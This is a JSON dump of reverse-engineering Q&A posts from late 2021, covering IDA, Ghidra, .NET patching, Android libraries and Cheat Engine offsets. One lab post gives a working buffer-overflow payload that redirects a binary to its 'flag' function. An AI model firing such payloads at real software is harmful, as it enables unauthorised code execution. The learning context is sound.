        "Body": "<p><strong>What I am trying to do:</strong></p>\n<p>I have an .exe written in C#. Ilspy shows the code. Inside it has a class <code>DoWork</code> with static field <code>SomeValue</code>:</p>\n<pre><code>// Program.DoWork\npublic static int SomeValue =&gt; 15;\n</code></pre>\n<p>In code, however, it's not a field but a getter function:</p>\n<pre><code>// return 15;\nIL_0000: ldc.i4.s 15\nIL_0002: ret\n</code></pre>\n<p>and I want to modify this function to return 127 instead. I've found the location of the function inside .exe binary dump:</p>\n<pre><code>0x123456  1f 0f 2a\n</code></pre>\n<p>I've modified .exe in HxD editor so new binary dump has this:</p>\n<pre><code>0x123456  1f 7f 2a\n</code></pre>\n<p>When I open modified .exe with Ilspy it shows:</p>\n<pre><code>// Program.DoWork\npublic static int SomeValue =&gt; 127;\n</code></pre>\n<p>So all seems well, but it doesn't work. The modified .exe still runs as if <code>SomeValue</code> is <code>15</code>.</p>\n<p><strong>Questions:</strong></p>\n<ol>\n<li>Is this a valid approach to modifying .net assembly?</li>\n<li>If yes, what am I missing?</li>\n</ol>\n",
        "Title": "Patch .net executable via hex editor",
        "Tags": "|.net|decompiler|",
        "Answer": "<p>Turned out the executable is a <a href=\"https://docs.microsoft.com/en-us/dotnet/core/deploying/ready-to-run\" rel=\"nofollow noreferrer\">ReadyToRun</a> executable, so it contains both IL and prebuilt x86-64 image. Modifying IL wasn't working because only x86 image was used at runtime. Modifying x86 image worked for me. ILSpy is capable of showing ReadyToRun image alongside C# and IL.</p>\n"
    },
    {
        "Id": "29606",
        "CreationDate": "2021-11-24T14:27:22.720",
        "Body": "<p>There is an Android application that has a shared library (.so) file in <code>split_config.arm64_v8a.apk</code> that I want to debug .</p>\n<p>When I look at <code>/proc/PID/maps</code> I don't see that library (I do see the <code>split_config.arm64_v8a.apk</code> file), but I'm sure the library is loaded because I see logs that only that library prints. Additionally, the application calls <code>System.loadLibrary(&quot;libMyLib.so&quot;);</code> to load that library.</p>\n<p>How can I debug this shared library?</p>\n",
        "Title": "Debug shared library in Android application",
        "Tags": "|debugging|android|gdb|frida|",
        "Answer": "<p>What you see is possible if the APK files uses the mode <code>extractNativeLibs=&quot;false&quot;</code>. If that attribute is set in the <code>&lt;application</code> tag in <code>AndroidManifest.xml</code> then Android loads the .so files directly from within the APK file without extracting them first.</p>\n<p>This works because the .so files are stored without compression and aligned to 4KiB page boundary so that they can be directly mapped into memory via mmap (see also zipalign comments on that topic <a href=\"https://developer.android.com/studio/command-line/zipalign\" rel=\"nofollow noreferrer\">https://developer.android.com/studio/command-line/zipalign</a>).</p>\n"
    },
    {
        "Id": "29614",
        "CreationDate": "2021-11-25T03:21:48.673",
        "Body": "<p>I've noticed that  whenever I'm single stepping for loops inside IDA hexrays decompiler it'll jump to the disassenbly view, doesn't matter if I step through with F8 ou F7, what gives and can I prevent it?</p>\n",
        "Title": "Prevent IDA from jumping to disassembly when debugging with decompiler",
        "Tags": "|ida|",
        "Answer": "<p>IDA\u2019s debugger switches to disassembly when it can\u2019t find a location in the pseudocode which matches the current instruction pointer (IP) value.</p>\n<p>Due to the way compilers optimize code, a single source code line can be spread over several assembly instructions, in some cases non-contiguous. You may even have instructions belonging to different lines intermixed in different order. All this complicates the task of mapping IP values to source or pseudo code lines. This may cause the behavior you are seeing.</p>\n"
    },
    {
        "Id": "29620",
        "CreationDate": "2021-11-26T19:13:28.177",
        "Body": "<p>I'm an absolute newbie when it comes to all this side of reverse engineering. Each time I try and understand it, I get lost almost immediately.</p>\n<p>I am trying a lab. I open it up in Binary Ninja. I get the following</p>\n<p><a href=\"https://i.stack.imgur.com/SkqAf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SkqAf.png\" alt=\"enter image description here\" /></a></p>\n<p>When I open main I get the following</p>\n<p><a href=\"https://i.stack.imgur.com/kW4qJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kW4qJ.png\" alt=\"enter image description here\" /></a></p>\n<p>Nothing much seems to happen but there is a function(?) called flag that looks like what I need</p>\n<p><a href=\"https://i.stack.imgur.com/maQqE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/maQqE.png\" alt=\"enter image description here\" /></a></p>\n<p>When I copy the address, it comes out as:</p>\n<pre><code>0x401152\n</code></pre>\n<p>I'm trying to do stuff like this on the command line but getting nowhere fast</p>\n<pre><code>python3 -c &quot;print (28 * 'A' + '\\x52\\x11\\x40')&quot; | ./santa;\n</code></pre>\n<p>I then try to iterate through and no luck although I do get a segmentation fault on the 53rd iteration</p>\n<pre><code>for i in {0..60}; do python3 -c &quot;print ($i * 'A' + '\\x52\\x11\\x40')&quot; | ./santa; done\n</code></pre>\n<p>Any pointers? I'm absolutely lost</p>\n",
        "Title": "How to exploit __isoc99_scanf with a segmentation fault",
        "Tags": "|binary-analysis|binary|buffer-overflow|",
        "Answer": "<pre><code>python3 -c &quot;print (56 * 'A' + '\\x53\\x11\\x40\\x00\\x00\\x00\\x00\\x00')&quot; | ./santa\n</code></pre>\n"
    },
    {
        "Id": "29626",
        "CreationDate": "2021-11-27T06:50:31.373",
        "Body": "<p>I have recently been trying to improve my skills on reverse engineering. So, I opened <code>C:/Windows/System32/DriverStore/FileRepository/xboxgip.inf_amd64_90ed6b3fdc759a5b/devauthe.sys</code> in IDA. While playing around the file, I came across the following bytes under <code>.data</code> segment:</p>\n<pre><code>00 00 00 00 00 00 00 00  00 00 00 00 32 A2 DF 2D\n99 2B 00 00 CD 5D 20 D2  66 D4 FF FF 01 00 D2 8B\n0A 35 60 BD F1 C9 D6 5D  6C 59 51 D5 24 FD 02 F5\n43 26 29 79 53 3E B0 FB  2B 97 BF 5E FC 20 02 00\n54 B4 F2 54 77 D2 99 71  BD 9C 0B 85 C9 D0 29 BE\n85 AD 6B CB D7 CA 71 D4  AB 28 DB FA 1A 0E E0 9F\n03 00 B0 EB 26 B7 F4 68  74 C7 34 F0 18 10 26 20\n01 BB 63 6E F6 20 E2 3B  D7 7B D1 1A B4 6D 33 BA\n6B 4B 5C D0 0D 95 6B 2F  CF 0D 53 C5 AE AC 03 87\n23 9B A4 BE 5D 70 E1 26  19 06 56 49 79 E6 7C 1A\n71 20 D0 11 C1 D8 7C 61  44 3A 47 B2 9E 8E 44 AB\n2E 42 EB 59 B0 3B F1 9C  B1 66 4F A3 DA 37 1F 30\n5B 7E FF E5 FC 87 00 00  00 00 00 00 C9 57 84 41\n69 9B 06 7E C1 14 C5 CA  C1 56 B7 8F 71 48 4A FC\n08 1D A5 E6 C9 DB F6 53  A6 15 78 5F F4 46 C1 48\n76 3B DF 9B 84 5B A3 49  5C 46 B5 D1 66 81 8A 53\nE5 EC 02 85 02 2C 4B 24  61 9E 3C 2A A5 28 4D 85\nF7 A6 25 45 B4 4D EC FD  A0 CD AB 01 8D B3 71 07\nDA 93 06 6E D6 37 A1 16  EF 74 E1 A6 BC E0 CE E7\nD4 02 C9 C1 40 5B CD 3B  9A 62 84 39 E8 40 3D 13\n20 E2 1A B6 3C D3 E6 7A  C6 F3 27 B4 6D 66 5B 8D\n52 81 06 0F 3C BC F3 1C  05 90 77 67 8B 99 FD 00\n04 AD 27 E9 1D B5 68 B2  21 A6 0D A5 81 C0 53 C9\n99 B4 ED F1 11 D0 01 91  59 A8 ED 80 BA 82 86 62\nCF 3D 94 70 C3 1C 50 9E  C6 95 6D 57 17 0F 95 DA\n14 38 76 38 09 E7 D5 0C  3E 89 2F 5D DF F4 D6 31\nC1 26 02 9C 30 0B EE 28  A7 86 74 A3 46 8F B7 85\nFA 8C 0F BB 79 65 A5 AD  C9 12 BA CF 43 64 CC 62\nA0 30 3F AE 88 06 40 86  EF 27 CA 93 52 53 41 32\n</code></pre>\n<p>Looking at the bytes, it doesn't seem to be ASCII strings, neither does it look to be code, since disassemblers fails on certain bytes. I understand my question might be a bit vague, but can anyone tell me what this is?</p>\n",
        "Title": ".data segment seems to contain code?",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>In the <code>.data</code> segment are generally \u2014 as it name suggest \u2014 simply <em>data</em>.</p>\n<p>Data are <em>not only ASCII strings</em>, but other data, too. For example, integers and floating-point numbers. They are encoded as sequences of bits, and are preferably displayed \u2014 as in your question \u2014 in the form of hexadecimal symbols.</p>\n<p>Knowing nothing about their meaning, we may conclude nothing about values which they represent. Even nothing about the start and end position of individual piece of data.</p>\n<p>For example, let's take the left half of your 3<sup>rd</sup> row: <code>0A 35 60 BD F1 C9 D6 5D</code>. What is its meaning:</p>\n<ul>\n<li>8 bytes?</li>\n<li>4 words?</li>\n<li>2 double-words?</li>\n<li>4 bytes and 1 double-word?</li>\n<li>etc., etc., ...</li>\n</ul>\n<p>Even if we know that they are 2 double-words, what they represent? Integers or floating-point numbers? If integers, signed or unsigned ones? And so on.</p>\n<p>It means that in the <code>.data</code> segment may be <em>everything</em>. <strong>Nothing is suspicious,</strong> if you have no other information.</p>\n"
    },
    {
        "Id": "29628",
        "CreationDate": "2021-11-27T17:29:35.630",
        "Body": "<p>TL;DR:</p>\n<p>The __fastcall convention in IDA Pro assumes that all the registers which could be used for transferring parameters are clobbered after a call (tested on x86, clobbered regs are <code>eax</code>, <code>edx</code>, <code>ebx</code>, <code>ecx</code>). I'm wondering how can I change that.</p>\n<p>Full explanation:</p>\n<p>I have a chunk of code (used Watcom <a href=\"https://en.wikipedia.org/wiki/Name_mangling\" rel=\"nofollow noreferrer\">name mangling</a>):</p>\n<pre><code>cseg01:00062A6B                 mov     edx, [ebp+tng1]\ncseg01:00062A6E                 mov     eax, [ebp+this1]\ncseg01:00062A71                 call    W?MyMethod$_Whatever$n_x__pn$SubObject$$\ncseg01:00062A76                 call    W?MySubMethod$_SubObject$n_pn$Thing$$_l\ncseg01:00062A7B                 cmp     eax, 0Ah\n</code></pre>\n<p>The functions are:</p>\n<pre><code>SubObject *__fastcall Whatever::MyMethod(Whatever *__hidden this);\nint __fastcall SubObject::MySubMethod(SubObject *__hidden this, Thing *tng);\n</code></pre>\n<p>IDA Pro produces:</p>\n<pre><code>(v3 = Whatever::MyMethod(this1), SubObject::MySubMethod(v3, v4) &lt; 10)\n</code></pre>\n<p>So the proper code clearly is:</p>\n<pre><code>(this1-&gt;MyMethod()-&gt;MySubMethod(tng1) &lt; 10)\n</code></pre>\n<p>The problem is \u2014 IDA did not use <code>tng1</code> as the 2nd argument of <code>MySubMethod()</code> \u2014 instead, it defined a separate variable <code>v4</code> with an unset value.</p>\n<p>Because we use <code>__fastcall</code> for both functions, first arg is passed through <code>eax</code>, second by <code>edx</code>. The code so happens to set the value of <code>edx</code> before the first call, even though it's really an argument for the second call. IDA seem to assume that <code>MyMethod()</code> overwrote (or with proper nomenclature, <a href=\"https://en.wikipedia.org/wiki/Clobbering\" rel=\"nofollow noreferrer\">clobbered</a>) the value of <code>EDX</code>).</p>\n<p>I tried __usercall and __userpurge, and it had no impact on the code \u2014 IDA still assumes <code>EDX</code> was clobbered by the first call.</p>\n<p>Is there a way to configure/change that behavior, making IDA know that function calls does not clobber registers?</p>\n<p>I remember fixing it in the past, so there is a way, just can't remember what it was exactly...</p>\n<p>Also, it would be nice to configure that on a project level instead of defining a custom calling convention for every function.</p>\n",
        "Title": "IDA Pro - configure register clobbering",
        "Tags": "|ida|x86|register|calling-conventions|",
        "Answer": "<p>In the absence of an explicit <code>__spoils</code> declaration on the called function's prototype, Hex-Rays makes decisions about which registers should be spoiled at a call site based on the compiler that has been chosen for the binary, which can be viewed and modified under <code>Options-&gt;Compiler</code>. Your first step should be to ensure that the <code>Compiler</code> dropdown box says &quot;Watcom C++&quot;.</p>\n<p>The authors of Hex-Rays need to implement support for each compiler's ABI separately. That is to say, if you were to reverse engineer the part of Hex-Rays that chose the standard clobber set to be used throughout call analysis, you'd find that the logic made use of <code>if</code>-statements that were checking the database's compiler settings (as described in the previous paragraph).</p>\n<p>Unfortunately, as of the last time I reverse engineered that part of Hex-Rays, they had not yet implemented support for Watcom's ABI. It's possible this has changed in the meantime -- again, your first step should be to set the compiler to Watcom and see what happens. I get the impression they <a href=\"https://hex-rays.com/products/ida/news/7_3/\" rel=\"nofollow noreferrer\">might have added it in 7.3, based on the following changelog</a>:</p>\n<blockquote>\n<p>BUGFIX: TYPES: corrected the list of spoiled registers for watcom files</p>\n</blockquote>\n<p>However, if setting the compiler doesn't work, then there's nothing you can do as a user to fix this without manually annotating each function's <code>__spoils</code> set. If so, this would be a great time to contact Hex-Rays support with your license key, and a copy of the binary if possible, and ask them if they can implement ABI support for Watcom in the decompiler. It may not happen in the next release, but if enough customers have enough requests involving Watcom binaries, it'll happen. After all, it's probably not that much work on their end to implement it, and it's a nice feature to have out-of-the-box.</p>\n"
    },
    {
        "Id": "29629",
        "CreationDate": "2021-11-27T17:50:00.250",
        "Body": "<p>This is my first question on this forum, so I hope that it would not be offensive or redundant.</p>\n<p>So recently I am attempting to developing some kernel extensions for Apple's macOS using the IOKit framework. However, in the debugging process, I encountered some confusions while looking at the assembly and pseudocode of my binaries generated by IDA.</p>\n<p>Currently, the greatest issue is how the normal switch case statement is interrupted by the decompiler \u2014 <code>_bittest64</code> commands would be yielded with huge numbers as arguments. I am somewhat sure that it has to do with the \u201clower-bound\u201d of the cases, but I don't know how exactly should I comprehend it. Here is an example:</p>\n<p><img src=\"https://i.stack.imgur.com/LOxqp.png\" alt=\"Actual code\" />\n<img src=\"https://i.stack.imgur.com/Qf0zs.png\" alt=\"Hex-Rays decompiler pseudocde\" /></p>\n<p>I can't really see how they relate, particularly the <code>_bittest64</code> part. Just by the way, the enum <code>kBluetoothIntelHardwareVariantJfP = 0x11</code> and <code>kBluetoothIntelHardwareVariantSlrF = 0x19</code>.</p>\n<p>Happy thanksgiving!</p>\n",
        "Title": "IDA interpretation of switch-case statement",
        "Tags": "|ida|c++|",
        "Answer": "<p>It's a compiler optimization used to implement <code>switch</code> statements that have many cases leading to one location. Note that the weird output is not Hex-Rays' doing, but rather, a more-or-less direct translation of what's in the assembly language. You didn't show the assembly for your snippet, but here's similar disassembly from a database I have open:</p>\n<pre><code>.text:0000000061FEA1C8     lea     eax, [rdi-33h]\n.text:0000000061FEA1CB     cmp     eax, 0Eh\n.text:0000000061FEA1CE     ja      short loc_61FEA1F8\n.text:0000000061FEA1CE\n.text:0000000061FEA1D0     mov     edx, 6381h\n.text:0000000061FEA1D5     bt      edx, eax ; &lt;- this becomes _bittest\n.text:0000000061FEA1D8     jnb     short loc_61FEA1F8\n</code></pre>\n<p>And here's its Hex-Rays decompilation:</p>\n<pre><code>  if ( (vChildOp - 51) &gt; 0xE )\n    return /* ... */;\n\n  v6 = 25473;\n  if ( !_bittest(&amp;v6, vChildOp - 51) )\n    return /* ... */;\n</code></pre>\n<p>Let's take a closer look at your snippet. You said that <code>kBluetoothIntelHardwareVariantJfP = 0x11</code> and <code>kBluetoothIntelHardwareVariantSlrF = 0x19</code>. Now look at the constant, <code>0x39E0000LL</code>. This is <code>11100111100000000000000000b</code> in binary:</p>\n<pre><code>11 1001 1110 0000 0000 0000 0000\n|| |  | |||- bits 0-16 clear   \n|| |  | ||-- bit 17 (i.e., 0x11): first bit set\n|| |  | |--- bit 0x12 set\n|| |  | ---- bit 0x13 set\n|| |  ------ bit 0x14 set\n|| --------- bit 0x17 set\n|----------- bit 0x18 set\n------------ bit 0x19: last bit set\n</code></pre>\n<p>Notice that the <code>switch</code> statement in your example has 7 cases leading to the same label, and that two of the cases correspond to bits <code>0x19</code> and <code>0x11</code>? It is not a coincidence that the constant in the snippet has 7 bits set, including bits <code>0x11</code> and <code>0x19</code>! The <code>bt</code> instruction, translated as the <code>_bittest</code> intrinsic, is just checking to see whether <code>hardwareVariant</code>, or <code>a2</code> in the decompilation, is one of the values <code>0x11</code>-<code>0x14</code> or <code>0x17-0x19</code>. It performs all 7 comparisons at the same time.</p>\n<p>The <code>if</code>-statement on the outside is the <code>default</code> check: it ensures that the value of <code>a2</code> is at most <code>0x19</code> -- if it's not, it jumps to the <code>default</code> location, i.e., does nothing.</p>\n"
    },
    {
        "Id": "29638",
        "CreationDate": "2021-11-29T17:30:04.097",
        "Body": "<p>I want to get a function's signature information: return type and parameters  from x64 binaries. I am able to achieve so, using</p>\n<pre><code>tif = idaapi.tinfo_t()\nida_nalt.get_tinfo(tif, ea)\nfunction_type = tif.get_rettype()\nmetadata[function][&quot;ret_type&quot;] = function_type\nfuncdata = ida_typeinf.func_type_data_t()\nfor i,v in enumerate(funcdata):\n        itype = ida_typeinf.print_tinfo('', 0, 0, idc.PRTYPE_1LINE, v.type, '', '')\n        metadata[function][&quot;parameter_list&quot;].append(tuple([i, v.name,itype]))\n</code></pre>\n<p>This script works in a lot of cases, but fails in some simple cases, like for example</p>\n<pre><code>double retDouble()\n{\n  return 2.4;\n}\n</code></pre>\n<p>In such case, I get an empty <code>tif</code> object, and thus I can't recover the return type \u2014 which is double in this case. I believe this happens in cases where there are no function parameters present (like in above case). In such case, How can I recover the return type (or at least recover the type, or is it not possible at all)? I want the type object and not the type as a string, the later can be achievable by parsing IDA disassembly and retrieving function signature by something like regex.</p>\n",
        "Title": "IDAPython: function parameters and return value",
        "Tags": "|ida|idapython|",
        "Answer": "<p>The return type is available in the <code>rettype</code> field of the <a href=\"https://hex-rays.com/products/ida/support/sdkdoc/structfunc__type__data__t.html\" rel=\"nofollow noreferrer\"><code>func_type_data_t</code> structure</a>.</p>\n"
    },
    {
        "Id": "29642",
        "CreationDate": "2021-11-30T09:07:32.487",
        "Body": "<p>I am implementing deep search with Python Hex Ray API.\nCan someone say classes and methods for implementing this feature with the IDA Python API?</p>\n",
        "Title": "Functions and methods for working with AST tree",
        "Tags": "|idapython|hexrays|",
        "Answer": "<p>Hex-Rays\u2019 version of AST is called \u201cctree\u201d, so you can search for the term in <code>hexrays.hpp</code> to see what methods are available, as well as in the sample plugins and scripts.</p>\n"
    },
    {
        "Id": "29646",
        "CreationDate": "2021-12-01T15:13:03.600",
        "Body": "<p>I'm working on an automatic exploit-generation system for low level code, and I want to try it out on real world code.</p>\n<p>I thought PCode might be a nice place to start, since it abstracts away over many of the details that for example x86 deals with.</p>\n<p>I've installed Ghidra, and I am able to decompile binaries to C, but I am looking to get the PCode for a specific decompiled function from the binary.</p>\n<p>There is a <a href=\"https://reverseengineering.stackexchange.com/questions/21297/can-ghidra-show-me-the-p-code-generated-for-an-instruction/21299\">previous question on here</a> that is related to this elsewhere, but the scripts that are linked no longer work with the latest version of Ghidra.</p>\n<p>Could anyone provide some advice on how to get Ghidra to produce PCode after decompilation?</p>\n<p>EDIT: For those interested, I've completed a script that dumps every decompiled function: <a href=\"https://github.com/niconaus/PCode-Dump/blob/main/PCodeDump.java\" rel=\"nofollow noreferrer\">https://github.com/niconaus/PCode-Dump/blob/main/PCodeDump.java</a></p>\n",
        "Title": "Dump PCode in Ghidra for a specific decompiled function",
        "Tags": "|disassembly|ghidra|",
        "Answer": "<p>I assume that you want to get the PCode of an entire function at once and purely via a script. Getting the PCode for a specific line in the decompiler selected via the GUI is explained in my answer to the question you linked.</p>\n<p>The easiest way to just dump the entire (decompiled) PCode of a function for human inspection is the <code>Graph AST Control Flow</code> Action hidden in the little menu at the top right of the decompiler window</p>\n<p><a href=\"https://i.stack.imgur.com/De1TS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/De1TS.png\" alt=\"enter image description here\" /></a></p>\n<p>This renders a CFG where the basic blocks consist of PCode. It nicely syncs with the GUI, i.e. clicking a node will select the corresponding lines in the decompiler and the listing, and vice versa. This will probably be extremely useful for debugging. If you click any token in the decompiler window you can also easily grab the actual corresponding <code>PCodeAST</code> object with <code>currentLocation.token.pcodeOp</code></p>\n<p>For getting the actual PCode objects from a plugin/script: The basic idea is that you need the <code>HighFunction</code> object of a function, which has the method <code>HighFunction.getPcodeOps()</code> that returns an iterator over the <code>PcodeOpAST</code> objects. The annoying part is getting the <code>HighFunction</code>. The following code is from the <code>GraphAST.java</code> GhidraScript file:</p>\n<pre><code>DecompileOptions options = new DecompileOptions();\nDecompInterface ifc = new DecompInterface();\nifc.setOptions(options);\n\nif (!ifc.openProgram(this.currentProgram)) {\n    throw new DecompileException(&quot;Decompiler&quot;, &quot;Unable to initialize: &quot; + ifc.getLastMessage());\n}\nifc.setSimplificationStyle(&quot;normalize&quot;);\nDecompileResults res = ifc.decompileFunction(func, 30, null);\nhigh = res.getHighFunction();\n</code></pre>\n"
    },
    {
        "Id": "29653",
        "CreationDate": "2021-12-02T10:49:41.797",
        "Body": "<h2>Background</h2>\n<p>Hello! New user. I am working on a personal computer science project that involves research on loop statements such as the <code>for</code> and <code>while</code> loops in <strong>C</strong> - these loops can apply to other programming and scripting languages but, to keep things simple I want to focus primarily on <strong>C</strong>.</p>\n<hr />\n<h2>Issue</h2>\n<p>I would like to know how developers of programming and scripting languages are able to create <code>for</code> and <code>while</code> loops for those same languages. How can I achieve this for experimentation purposes? Do I have to learn assembly? If so, can anyone provide me with guidance?</p>\n<p>Apologies if my original question was too vague.</p>\n<p>Cheers!</p>\n",
        "Title": "Understanding Loop Statements: For & While",
        "Tags": "|c|",
        "Answer": "<p>basic construct in c,.... languages</p>\n<pre><code>for (index =start_value; index&lt; end_value; (pre/post) inc/dec(index))\nlike \nfor (i = 0; i&lt; 10; i++) , ( i=10,i&gt;0;i--) , (i=35; i&gt; 25; --i) ,(i=35; i&lt; 25; ++i)\n</code></pre>\n<p>the compiler takes this human readable code and converts it into assembly for the specific platform</p>\n<p>for x86 this could look like</p>\n<pre><code>mov end_value to another register like mov edx,10 \nmov index to a register like mov,ecx,0\nbody {\ndo anything but preserve  ecx,edx\n}\ninc/dec regsiter ecx\ncompare ecx with edx,\ndo an if &lt; or &gt; decision and either go back to doing the body or exit \n</code></pre>\n<p>a real world example</p>\n<pre><code>int main (void) {\n    register int a =4;\n    for (register int i =3; i&lt;10; i++){\n        a = a + i*2;\n    }\n    return a;\n}\n</code></pre>\n<p>compiled and disassembled using vs and windbg</p>\n<pre><code>:\\&gt;ls\nloopy.cpp\n\n:\\&gt;cl /Zi /W4 /analyze:autolog- /Od /EHsc /nologo -GS loopy.cpp  /link /release /subsystem:windows /entry:main /fixed\nloopy.cpp\n\n:\\&gt;ls\nloopy.cpp  loopy.exe  loopy.obj  loopy.pdb  vc140.pdb\n</code></pre>\n<p>disassembly of compiled code</p>\n<pre><code>:\\&gt;cdb -c &quot;uf loopy!main;q&quot; loopy.exe | awk &quot;/Reading/,/quit/&quot;\n0:000&gt; cdb: Reading initial command 'uf loopy!main;q'\nloopy!main:\n00000000`00401000 55              push    rbp\n00000000`00401001 8bec            mov     ebp,esp\n00000000`00401003 83ec08          sub     esp,8\n=====================\nmemory location instead of register  used\n00000000`00401006 c745f804000000  mov     dword ptr [rbp-8],4 \n00000000`0040100d c745fc03000000  mov     dword ptr [rbp-4],3\n=====================\n00000000`00401014 eb09            jmp     loopy!main+0x1f (00000000`0040101f)\n\nloopy!main+0x16:\n00000000`00401016 8b45fc          mov     eax,dword ptr [rbp-4]\nincrement ==================\n00000000`00401019 83c001          add     eax,1\n00000000`0040101c 8945fc          mov     dword ptr [rbp-4],eax\n\nloopy!main+0x1f:\n============ comparison and decision\n00000000`0040101f 837dfc0a        cmp     dword ptr [rbp-4],0Ah\n00000000`00401023 7d0e            jge     loopy!main+0x33 (00000000`00401033)\n============== body\nloopy!main+0x25:\n00000000`00401025 8b4dfc          mov     ecx,dword ptr [rbp-4]\n00000000`00401028 8b55f8          mov     edx,dword ptr [rbp-8]\n00000000`0040102b 8d044a          lea     eax,[rdx+rcx*2]\n00000000`0040102e 8945f8          mov     dword ptr [rbp-8],eax\n00000000`00401031 ebe3            jmp     loopy!main+0x16 (00000000`00401016)\n=========== body end goes back to re doing again \n================ exit\nloopy!main+0x33:\n00000000`00401033 8b45f8          mov     eax,dword ptr [rbp-8]\n00000000`00401036 8be5            mov     esp,ebp\n00000000`00401038 5d              pop     rbp\n00000000`00401039 c3              ret\nquit:\n</code></pre>\n<p>in laymans terms\nthis assembly is now further converted to binary (base 2 ,or 0,1) and fed into a network of logic gates which use and , or , not , nand ,xor, xnor circuitry to do the  actual work\nso simply a not gate might  return false or true based on the input of index 0b101 versus 0b1000</p>\n<p>if you need the basic electronics and logic gate circuitry you should look for electronics stack exchange</p>\n<p><a href=\"https://circuitverse.org/simulator\" rel=\"nofollow noreferrer\">you can also check online logic simulators like this</a></p>\n<p><a href=\"https://i.stack.imgur.com/pjUqJ.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pjUqJ.gif\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "29667",
        "CreationDate": "2021-12-04T19:10:25.527",
        "Body": "<p>I have this memory address <code>0F58F478</code> and this offset <code>5C</code>. I'm using memory sharp and it works perfectly when I'm adding this number.</p>\n<pre><code>IntPtr address = _mSharp.Read&lt;IntPtr&gt;(0F58F478, false) + 0x5C;\n// address output: 035F4E60\n</code></pre>\n<p>According to Cheat Engine this would be the result <code>035F4E60</code>. But I've tried using a <a href=\"https://www.calculator.net/hex-calculator.html\" rel=\"nofollow noreferrer\">Hex Calculator</a> and the result is by far kinda different. I'd like to know how MemorySharp or CheatEngine calculates this sum.</p>\n<p><a href=\"https://i.stack.imgur.com/qqltd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qqltd.png\" alt=\"enter image description here\" /></a></p>\n<p>Notice that when I add 0 to a pointer this change its value, how this works? Why 0 is adding value there?</p>\n<p><a href=\"https://i.stack.imgur.com/nToUq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nToUq.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How does Cheat Engine offset calculation work?",
        "Tags": "|memory|hex|address|offset|cheat-engine|",
        "Answer": "<p>As I Commented if you are adding 0x5c to 0x0F58F478 and getting 0xf58f4d4<br />\nit is not what the memory sharp or cheat engine does</p>\n<p>0x0xf58f4d4  is a pointer an address in the memory space<br />\nthey dereference the pointer and add 0x5c to the result</p>\n<p>your other query why adding 0 also falls under the same category adding 0 or 10 or 5c or 100 or 987 and dereferencing them will always provide the underlying value</p>\n<p>also keep an eye on the square brackets [] means dereference<br />\nwithout square brackets means direct addition<br />\nas the first entry in your screen shot shows</p>\n<pre><code>&amp;a  = 0x0F58F478                            &amp;a = __addressof(a);\n*a  = 0x3454e04                             *a = value of a\n a  + 0x5c = 0xf58f4d4                      direct addition \n[a] + 0x5c = 0x3454e04+0x5c ==  0x3454e60   dereferenced addition\n[a+ 0x5c] = [f58f4d4] = *f58f4d4 = some other value that is got by \nfirst adding  and then  dereferencing\n</code></pre>\n<p>since this appears to be c# you should try reading about unsafe / boxing / unboxing etc as it appears you are not aware of pointers,memory ,dereferencing etc</p>\n<p>here is a boxing example in powershell</p>\n<pre><code>PS C:\\&gt; $a = 123                                                                                                        \nPS C:\\&gt; $b = $a     b contains what was in $a viz 123                                                                                                    \nPS C:\\&gt; $a = 456    a gets a new value and a new address                                                                                                      \nPS C:\\&gt; $a,$b                                                                                                            \n456\n123\nPS C:\\&gt;  \n</code></pre>\n<p>or in c# unsafe construct</p>\n<pre><code>:\\&gt;dir /b\nunsafe.cs\n\n:\\&gt;type unsafe.cs\nusing System;\nclass Program\n{\nstatic unsafe void Main()\n{\n   int var = 32;\n   int* p = &amp;var;\n   Console.WriteLine(&quot;value is 0x{0:x}&quot; , var);\n   Console.WriteLine(&quot;address is 0x{0:x}&quot; , (int)p);\n   Console.WriteLine(&quot;dereferenced is 0x{0:x}&quot; , (*p + 0x5c));\n   Console.WriteLine(&quot;undereferenced is 0x{0:x}&quot; , ((int)p + 0x5c));\n   Console.WriteLine(&quot;somegarbage  is 0x{0:x}&quot; , *((p + 0x5c)));\n}\n}\n:\\&gt;csc unsafe.cs /unsafe\nMicrosoft (R) Visual C# Compiler version 2.10.0.0 (b9fb1610)\nCopyright (C) Microsoft Corporation. All rights reserved.\n\n\n:\\&gt;unsafe.exe\nvalue is 0x20\naddress is 0x4feac4\ndereferenced is 0x7c\nundereferenced is 0x4feb20\nsomegarbage  is 0x0\n</code></pre>\n"
    },
    {
        "Id": "29669",
        "CreationDate": "2021-12-05T02:15:52.693",
        "Body": "<p>I checked how to get type information here - <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf.html\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf.html</a></p>\n<p>Although, I am not sure what these different type prefixes mean. For e.g. <code>BT_{type}</code>, <code>BTMT_{type}</code>, <code>BTF_{type}</code>, etc. I couldn't find any information which distinguishes these  types.</p>\n",
        "Title": "idapython: type information with different prefixes",
        "Tags": "|ida|idapython|",
        "Answer": "<p><code>typeinf.hpp</code> is the most complex header file in the IDA SDK. Although it's reasonably well-designed once you understand how to use it, there is likely to be a lot of difficulty in your near future. You probably want to start by ignoring the part of the header that your question asks about, and instead look at the class <code>tinfo_t</code>, which is the primary data structure that IDA uses to represent types. From there, look at its member functions. For example, here are a number of member functions:</p>\n<ul>\n<li><code>bool tinfo_t::is_ptr()</code></li>\n<li><code>bool tinfo_t::is_array()</code></li>\n<li><code>bool tinfo_t::is_func()</code></li>\n<li><code>bool tinfo_t::is_complex()</code></li>\n<li><code>bool tinfo_t::is_struct()</code></li>\n<li><code>bool tinfo_t::is_union()</code></li>\n<li><code>bool tinfo_t::is_udt()</code></li>\n<li><code>bool tinfo_t::is_enum()</code></li>\n</ul>\n<p>That should get you started. Good luck! You'll need it!</p>\n"
    },
    {
        "Id": "29678",
        "CreationDate": "2021-12-06T09:40:43.527",
